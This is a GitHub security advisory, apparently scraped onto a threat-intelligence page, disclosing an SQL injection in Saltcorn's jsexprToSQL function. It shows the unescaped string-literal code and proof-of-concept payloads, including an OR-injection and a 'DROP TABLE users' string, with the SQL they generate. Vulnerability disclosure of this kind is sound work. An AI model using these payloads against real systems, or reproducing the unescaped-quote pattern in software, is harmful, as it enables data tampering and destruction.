lowVulnerability

GHSA-59xv-588h-2vmm

## Summary The `jsexprToSQL()` function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The `Literal` handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints. ## Vulnerable Component **File:** `packages/saltcorn-data/models/expression.ts`, lines 117-118 ```typescript Literal({ value }: { value: ExtendedNode }) { if (typeof value == "string") return `'${value}'`; // NO ESCAPING! return `${value}`; }, ``` **Call chain:** Formula constraint creation → `table_constraints.ts:127` → `jsexprToSQL()` → `Literal()` → `db.query()` executes unsanitized SQL. ## Proof of Concept ### Injection via Formula Constraint When an admin creates a Formula-type table constraint with the expression: ```javascript name === "test' OR '1'='1" ``` The `jsexprToSQL()` function generates: ```sql (name)=('test' OR '1'='1') ``` This is then executed as: ```sql ALTER TABLE "tablename" ADD CONSTRAINT "tablename_fml_1" CHECK ((name)=('test' OR '1'='1')); ``` The single quote in the string literal is not escaped, breaking out of the SQL string context. ### More Dangerous Payload ```javascript name === "'; DROP TABLE users; --" ``` Generates: ```sql (name)=(''; DROP TABLE users; --') ``` ### Verified on Saltcorn v1.5.0 (Docker) Direct invocation of `jsexprToSQL()` inside the running container confirms the vulnerability: ``` Input: name === "hello" Output: (name)=('hello') ← Normal Input: name === "test' OR '1'='1" Output: (name)=('test' OR '1'='1') ← Single quote NOT escaped, OR injected Input: name === "'; DROP TABLE users; --" Output: (name)=(''; DROP TABLE users; --') ← DROP TABLE injected ``` The test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup). ### PoC Screenshot 1. Create a table after moving to the table menu <img width

Properties

ghsa_id
GHSA-59xv-588h-2vmm
summary
@saltcorn/data vulnerable to SQL Injection via jsexprToSQL Literal Handler
severity
low
cve_id
GHSA-59xv-588h-2vmm
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:N
is_ghsa_only
true
ghsa_published
2026-04-10T19:30:32Z
source_url
https://github.com/advisories/GHSA-59xv-588h-2vmm
ghsa_updated
2026-04-10T19:30:33Z

Related Entities (4)

VULNERABLE_TO (1)

[Software]npm/@saltcorn/data

HAS_WEAKNESS (1)

[Weakness]Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

REPORTED_BY (1)

[Source]GitHub Advisory Database

AFFECTS (1)

[Software]npm/@saltcorn/data

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-59xv-588h-2vmm — Ninja Signal Threat Intelligence | Ninja Signal